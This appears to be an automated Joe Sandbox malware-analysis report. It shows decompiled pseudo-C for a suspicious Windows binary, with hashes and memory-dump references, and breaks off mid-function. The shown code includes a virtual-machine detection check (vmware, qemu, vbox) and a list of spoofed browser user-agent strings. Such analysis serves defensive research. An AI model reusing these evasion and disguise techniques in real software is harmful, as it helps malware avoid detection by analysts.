Uniqueness

Uniqueness Score: -1.00%

Function 00402D1F Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00402D1F(signed int __ebx) {
				intOrPtr _t31;
				intOrPtr _t48;
				void* _t50;
				void* _t54;
				intOrPtr* _t56;
				intOrPtr* _t57;
				intOrPtr* _t58;
				intOrPtr* _t59;
				intOrPtr* _t60;

				 *((intOrPtr*)(_t56 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t56 = _t54 - 0xb8;
				L0040C328();
				_t57 = _t56 - 8;
				_t31 =  *0x40d0b8; // 0x40e7a0
				 *((intOrPtr*)(_t57 + 4)) = _t31;
				 *_t57 = _t54 - 0x1f8;
				L0040C328();
				_t58 = _t57 - 8;
				 *_t58 = 0x16;
				 *((intOrPtr*)(_t58 + 4)) =  *((intOrPtr*)(0x40d200 + E00404EAE(_t54 - 0x1f8) * 4));
				_t48 = _t54 - 0x128;
				 *_t58 = _t48;
				L0040C328();
				_t59 = _t58 - 8;
				 *_t59 = 4;
				 *((intOrPtr*)(_t59 + 4)) =  *((intOrPtr*)(0x40d178 + E00404EAE( *((intOrPtr*)(0x40d200 + E00404EAE(_t54 - 0x1f8) * 4))) * 4));
				 *_t59 = _t48;
				L0040C328();
				_t60 = _t59 - 8;
				 *((intOrPtr*)(_t54 - 0x42c)) = 1;
				while(E00404F0A(_t48, _t50) == 0) {
					 *_t60 = 0x7530;
					L0040C308();
					_t60 = _t60 - 4;
				}
				 *((intOrPtr*)(_t60 + 0x18)) =  *((intOrPtr*)(_t54 - 0x42c));
				 *((intOrPtr*)(_t60 + 0x14)) = _t54 - 0x48;
				 *((intOrPtr*)(_t60 + 0x10)) = _t54 - 0x308;
				 *((intOrPtr*)(_t60 + 0xc)) = _t54 - 0x1f8;
				 *((intOrPtr*)(_t60 + 8)) = _t54 - 0xb8;
				 *((intOrPtr*)(_t60 + 4)) = _t54 - 0x428;
				 *_t60 = _t54 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402d26
0x00402d30
0x00402d33
0x00402d38
0x00402d3b
0x00402d40
0x00402d4a
0x00402d4d
0x00402d52
0x00402d55
0x00402d68
0x00402d6c
0x00402d72
0x00402d75
0x00402d7a
0x00402d7d
0x00402d90
0x00402d94
0x00402d97
0x00402d9c
0x00402d9f
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: 40d5dfbe96bdecb796aaa34a7dd6d3549258d3836627088837006e3877349a2e
Instruction ID: c94e486dd441945c80f89e6855cf6e362e59878be9d52d1e169f04df5a17e1bb
Opcode Fuzzy Hash: 40d5dfbe96bdecb796aaa34a7dd6d3549258d3836627088837006e3877349a2e
Instruction Fuzzy Hash: 8521ECB69143148BCB10EF64D9816DEBBF4BB84314F40857FE589A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040285D Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040285D(signed int __ebx) {
				intOrPtr _t30;
				intOrPtr _t47;
				void* _t49;
				void* _t53;
				intOrPtr* _t55;
				intOrPtr* _t56;
				intOrPtr* _t57;
				intOrPtr* _t58;
				intOrPtr* _t59;

				 *((intOrPtr*)(_t55 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t55 = _t53 - 0xb8;
				L0040C328();
				_t56 = _t55 - 8;
				_t30 =  *0x40d088; // 0x40e508
				 *((intOrPtr*)(_t56 + 4)) = _t30;
				 *_t56 = _t53 - 0x1f8;
				L0040C328();
				_t57 = _t56 - 8;
				 *_t57 = 0x14;
				 *((intOrPtr*)(_t57 + 4)) =  *((intOrPtr*)(0x40d1a0 + E00404EAE(_t53 - 0x1f8) * 4));
				_t47 = _t53 - 0x128;
				 *_t57 = _t47;
				L0040C328();
				_t58 = _t57 - 8;
				 *_t58 = 5;
				 *((intOrPtr*)(_t58 + 4)) =  *((intOrPtr*)(0x40d164 + E00404EAE( *((intOrPtr*)(0x40d1a0 + E00404EAE(_t53 - 0x1f8) * 4))) * 4));
				 *_t58 = _t47;
				L0040C328();
				_t59 = _t58 - 8;
				while(E00404F0A(_t47, _t49) == 0) {
					 *_t59 = 0x7530;
					L0040C308();
					_t59 = _t59 - 4;
				}
				 *((intOrPtr*)(_t59 + 0x18)) =  *((intOrPtr*)(_t53 - 0x42c));
				 *((intOrPtr*)(_t59 + 0x14)) = _t53 - 0x48;
				 *((intOrPtr*)(_t59 + 0x10)) = _t53 - 0x308;
				 *((intOrPtr*)(_t59 + 0xc)) = _t53 - 0x1f8;
				 *((intOrPtr*)(_t59 + 8)) = _t53 - 0xb8;
				 *((intOrPtr*)(_t59 + 4)) = _t53 - 0x428;
				 *_t59 = _t53 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402864
0x0040286e
0x00402871
0x00402876
0x00402879
0x0040287e
0x00402888
0x0040288b
0x00402890
0x00402893
0x004028a6
0x004028aa
0x004028b0
0x004028b3
0x004028b8
0x004028bb
0x004028ce
0x004028d2
0x004028d5
0x004028da
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: ce68201f3b84c2ea9f74e854b810ce6d8e2cbb5c2055fd0f9bb2a979559c073d
Instruction ID: a2a94c62469e04ea526b3170561a4d1959144f6524308fe89c3ba5c1d6912741
Opcode Fuzzy Hash: ce68201f3b84c2ea9f74e854b810ce6d8e2cbb5c2055fd0f9bb2a979559c073d
Instruction Fuzzy Hash: 2F21ED769043048BC710EF64D9815CEBBF4FB84314F40857FE985A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 004081D8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98bbd356c3167e2cab6cdd34103aca9027d91ebdbeeba2350e71e45c4cb0b634
Instruction ID: 2fc028183e425e45779f901a37d6f7d52457d7c17fe6e1465a33136023a7a73b
Opcode Fuzzy Hash: 98bbd356c3167e2cab6cdd34103aca9027d91ebdbeeba2350e71e45c4cb0b634
Instruction Fuzzy Hash: 69111FF04083049FD710AF15C9843AFBBF4EB84354F00C8AEE98867281D7798589CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402DAE Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: 3d7b2104f46c5867246ff3b280b263c61d79655f97bdd0cfd84f8f7af394f4eb
Instruction ID: f6c9bb9882ed78d28a60f598887051e8036adc664b5fe914478a66c114e9a78a
Opcode Fuzzy Hash: 3d7b2104f46c5867246ff3b280b263c61d79655f97bdd0cfd84f8f7af394f4eb
Instruction Fuzzy Hash: 6F11DD76D043198BCB11EF64D9806CEBBF4EB44314F40857BE885A3240EB349A88CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405434 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405434(signed int __eax, void* __ebx, signed int _a4, signed short _a8) {
				void* _v8;
				intOrPtr _v24;
				signed int _v26;
				char _v28;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _t21;
				intOrPtr _t23;
				signed int _t24;
				signed int _t26;
				void* _t29;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;

				_t30 = _t29 - 0x34;
				_v40 = 0;
				_v44 = 0;
				_v48 = 0;
				_v52 = 6;
				_v56 = 1;
				 *_t30 = 2; // executed
				L004086F0(); // executed
				_t31 = _t30 - 0x18;
				_t26 = __eax;
				_t28 = 0xffffffff;
				if(__eax != 0xffffffff) {
					_t21 = _a8 & 0x0000ffff;
					_v84 = _t21;
					L004086F8();
					_t32 = _t31 - 4;
					_v26 = _t21;
					_v28 = 2;
					 *_t32 = _a4; // executed
					_t23 = E004053C2(_a4, 0xffffffff); // executed
					_v24 = _t23;
					_v64 = 0;
					_v68 = 0;
					_v72 = 0;
					_v76 = 0;
					_v80 = 0x10;
					_t24 =  &_v28;
					_v84 = _t24;
					 *_t32 = _t26; // executed
					L00408700(); // executed
					_t28 = 0xffffffff;
					if(_t24 != 0xffffffff) {
						_t28 = _t26;
					}
				}
				return _t28;
			}

0x00405438
0x0040543b
0x00405443
0x0040544b
0x00405453
0x0040545b
0x00405463
0x0040546a
0x0040546f
0x00405472
0x00405474
0x0040547c
0x0040547e
0x00405482
0x00405485
0x0040548a
0x0040548d
0x00405491
0x0040549a
0x0040549d
0x004054a2
0x004054a5
0x004054ad
0x004054b5
0x004054bd
0x004054c5
0x004054cd
0x004054d0
0x004054d4
0x004054d7
0x004054df
0x004054e7
0x004054e9
0x004054e9
0x004054e7
0x004054f1

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09995997a13e2706ebe61a9ccba4db5e1a5a1ff8fa6b056a3c85ac2860e8b966
Instruction ID: 4ae3107c3b65c64df90930ed9eb0b1ead9faca9bbcd06d8d2a5bcce3cf5a65bf
Opcode Fuzzy Hash: 09995997a13e2706ebe61a9ccba4db5e1a5a1ff8fa6b056a3c85ac2860e8b966
Instruction Fuzzy Hash: ED1118B05047059BD700EF69C58935FBBF0AF44328F108A2DE4A89B3D2E7B9C5498B97

Uniqueness

Uniqueness Score: -1.00%

Function 004053C2 Relevance: .0, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004053C2(signed int __eax, signed int __edx, char _a4) {
				void* _v12;
				char _v16;
				short _v24;
				char _v28;
				signed int _t18;
				signed int _t24;
				intOrPtr _t25;
				signed int _t26;
				char _t29;
				void* _t30;
				intOrPtr* _t32;

				_t26 = __edx;
				_t18 = __eax;
				_t29 = _a4;
				_v16 = 0;
				_v28 = _t29; // executed
				L004086D8(); // executed
				_t32 = _t30 - 0xc;
				_t24 = __eax;
				if(__eax == 0) {
					 *_t32 = _t29;
					L004086E8();
					_t32 = _t32 - 4;
					_v16 = __eax;
				}
				_t25 = 0;
				if(((_t26 & 0xffffff00 | _t24 == 0x00000000) & (_t18 & 0xffffff00 | _v16 == 0xffffffff)) == 0) {
					if(_t24 != 0) {
						_v24 =  *((short*)(_t24 + 0xa));
						_v28 =  *((intOrPtr*)( *((intOrPtr*)(_t24 + 0xc))));
						 *_t32 =  &_v16;
						L0040C248();
					}
					_t25 = _v16;
				}
				return _t25;
			}

0x004053c2
0x004053c2
0x004053ca
0x004053cd
0x004053d4
0x004053d7
0x004053dc
0x004053df
0x004053e3
0x004053e5
0x004053e8
0x004053ed
0x004053f0
0x004053f0
0x004053ff
0x00405406
0x0040540a
0x00405415
0x00405419
0x00405420
0x00405423
0x00405423
0x00405428
0x00405428
0x00405433

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72382a04d42c95dc0bf349da0dcbe25555a1a130193f30e7f77d4bb4e3bae5a7
Instruction ID: 533992feeedd80a0f3e016846fddd558e4e21ba974aaa263bb38accae91cd44b
Opcode Fuzzy Hash: 72382a04d42c95dc0bf349da0dcbe25555a1a130193f30e7f77d4bb4e3bae5a7
Instruction Fuzzy Hash: 60017875904B049BDB00AFA9D18129FBBB4EF04360F00857EEC94A7380E7389644CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00406788 Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406788(intOrPtr __eax, intOrPtr _a4, char _a8) {
				void* _v12;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				void* __ebx;
				signed int _t11;
				char _t13;
				signed int _t14;
				intOrPtr _t15;
				void* _t16;
				intOrPtr* _t18;
				intOrPtr* _t19;

				_t15 = _a4;
				_t13 = _a8;
				_v28 = _t13;
				L0040C310();
				_t18 = _t16 - 0xc;
				_v20 = 0;
				_v24 = __eax;
				_v28 = _t13;
				 *_t18 = _t15; // executed
				L004086B0(); // executed
				_t19 = _t18 - 0x10;
				_t14 = 0;
				if(__eax != 0xffffffff) {
					 *_t19 = _t15; // executed
					_t11 = E004067E0(_t13); // executed
					_t14 = (_t11 & 0xffffff00 | _t11 != 0x00000000) & 0x000000ff;
				}
				return _t14;
			}

0x00406790
0x00406793
0x00406796
0x00406799
0x0040679e
0x004067a1
0x004067a9
0x004067ad
0x004067b1
0x004067b4
0x004067b9
0x004067bc
0x004067c4
0x004067c6
0x004067c9
0x004067d3
0x004067d3
0x004067de

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f3036a1304532fd11ddc15260a1a0bfd3c6ba831a69424d48f66fe568b7478
Instruction ID: 733846b08a7c5bdcc0cdb356ef5a0cb63b3653caa26ad0d2a3361f3627c8c98c
Opcode Fuzzy Hash: 64f3036a1304532fd11ddc15260a1a0bfd3c6ba831a69424d48f66fe568b7478
Instruction Fuzzy Hash: 14F082B14046149BD7007F39858129EBFA8EB44364F01892EFC9857381D23895A48B87

Uniqueness

Uniqueness Score: -1.00%

Function 00406746 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406746(intOrPtr __eax, void* __ebx, signed int _a4, char _a8) {
				void* _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t10;
				char _t14;
				void* _t16;

				_t14 = _a8;
				_v28 = _t14;
				L0040C310();
				_v20 = 0;
				_v24 = __eax;
				_v28 = _t14;
				_t10 = _a4;
				 *(_t16 - 0x10) = _t10; // executed
				L004086B0(); // executed
				return (_t10 & 0xffffff00 | _t10 != 0xffffffff) & 0x000000ff;
			}

0x0040674d
0x00406750
0x00406753
0x0040675b
0x00406763
0x00406767
0x0040676b
0x0040676e
0x00406771
0x00406786

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4596fd79a178152386b019210505c03ec421048c3d1915dd7ee1024b0ca98cdf
Instruction ID: c846b107f3f1a2141a7c6589b1a339cb802b571a108294725e9730d51bc6006b
Opcode Fuzzy Hash: 4596fd79a178152386b019210505c03ec421048c3d1915dd7ee1024b0ca98cdf
Instruction Fuzzy Hash: 57E01AB1504304AFCB00FF39C1C655EBBE4AB442A8F418A6DEC9897282D238D6848B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED6 Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED6(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t3;
				void* _t5;
				intOrPtr* _t6;

				_v8 = "rb";
				_t3 = _a4;
				 *_t6 = _t3; // executed
				L0040C1E8(); // executed
				_t5 = 0;
				if(_t3 != 0) {
					 *_t6 = _t3;
					L0040C1C0();
					_t5 = 1;
				}
				return _t5;
			}

0x00404edc
0x00404ee4
0x00404ee7
0x00404eea
0x00404eef
0x00404ef6
0x00404ef8
0x00404efb
0x00404f00
0x00404f00
0x00404f08

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429d1b8ceeac033c6138de599bbc2d91f808f27fb31b9c1f96d5dbdd3f36766e
Instruction ID: 620b73777646bea3160a61964eb414d400b49bbe5014070f778a9d056a582589
Opcode Fuzzy Hash: 429d1b8ceeac033c6138de599bbc2d91f808f27fb31b9c1f96d5dbdd3f36766e
Instruction Fuzzy Hash: 69D05E74204300D7E7007F79988530A7AD49B80308F00883DA980EF3C6EA79D8448B45

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x41949c();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x41949c(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76683
String ID:
API String ID: 2294968377-0
Opcode ID: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction ID: 752eb1ab21b4c19d55682f3c7b2bcf3a34383202cb890f95c9a90ba33a14ec6c
Opcode Fuzzy Hash: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction Fuzzy Hash: 02D09B354142149BC7007BF5DC0A399BBA86B09301F41443CE6CD67261D6743C4947DA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404990 Relevance: 5.0, Strings: 4, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404990(intOrPtr _a4) {
				char* _v16;
				char* _v20;
				char* _v24;
				char* _v28;
				intOrPtr _v40;
				intOrPtr _t10;
				signed int _t13;
				intOrPtr _t14;
				void* _t15;
				intOrPtr* _t16;

				_t14 = _a4;
				_v28 = "virtual";
				_v24 = "vmware";
				_v20 = "qemu";
				_v16 = "vbox";
				_t13 = 0;
				while(1) {
					_t10 =  *((intOrPtr*)(_t15 + _t13 * 4 - 0x18));
					_v40 = _t10;
					 *_t16 = _t14;
					L0040C240();
					if(_t10 != 0) {
						break;
					}
					_t13 = _t13 + 1;
					if(_t13 <= 3) {
						continue;
					}
					return 0;
				}
				return 1;
			}

0x00404998
0x0040499b
0x004049a2
0x004049a9
0x004049b0
0x004049b7
0x004049bc
0x004049bc
0x004049c0
0x004049c4
0x004049c7
0x004049ce
0x00000000
0x00000000
0x004049d7
0x004049db
0x00000000
0x00000000
0x00000000
0x004049dd
0x00000000

Strings

vmware, xrefs: 004049A2
qemu, xrefs: 004049A9
vbox, xrefs: 004049B0
virtual, xrefs: 0040499B

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: qemu$vbox$virtual$vmware
API String ID: 0-2646423876
Opcode ID: e80c964a466ab43288035c18f3b9686e1997324c0e45a20cd33772183577bb06
Instruction ID: b540962fa618101e36228a8a74583da539d79dad1ba2731ad5b1d3bf9ece319c
Opcode Fuzzy Hash: e80c964a466ab43288035c18f3b9686e1997324c0e45a20cd33772183577bb06
Instruction Fuzzy Hash: 3DF0A7F4800208CBDB109FA5D8813AF7BA8EB04718F10407ADA54BF7C0D3799D8487D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406A48 Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00406A48(void* __eflags, intOrPtr* _a4) {
				void* _v16;
				char _v1052;
				intOrPtr _v1068;
				intOrPtr _v1072;
				char* _v1076;
				intOrPtr _v1080;
				char* _v1084;
				char* _v1100;
				char* _v1104;
				char* _v1108;
				char* _v1112;
				char* _v1116;
				char* _v1120;
				char* _v1124;
				char* _v1128;
				char* _v1132;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				char* _v1160;
				void* __ebx;
				void* _t39;
				signed int _t40;
				char* _t45;
				intOrPtr* _t49;
				char* _t50;
				char* _t51;
				intOrPtr _t63;
				char* _t64;
				void* _t65;
				char** _t66;
				char** _t67;
				intOrPtr* _t68;

				_t49 = _a4;
				_v1132 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
				_v1128 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)";
				_v1124 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)";
				_v1120 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
				_v1116 = "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1";
				_v1112 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)";
				_v1108 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)";
				_v1104 = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
				_v1100 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
				 *_t66 = 9;
				_t40 = E00404EAE(_t39);
				_t51 =  *_t49;
				_v1084 = _t51;
				_t63 =  *((intOrPtr*)(_t49 + 4));
				_v1080 = _t63;
				_v1076 =  *((intOrPtr*)(_t49 + 8));
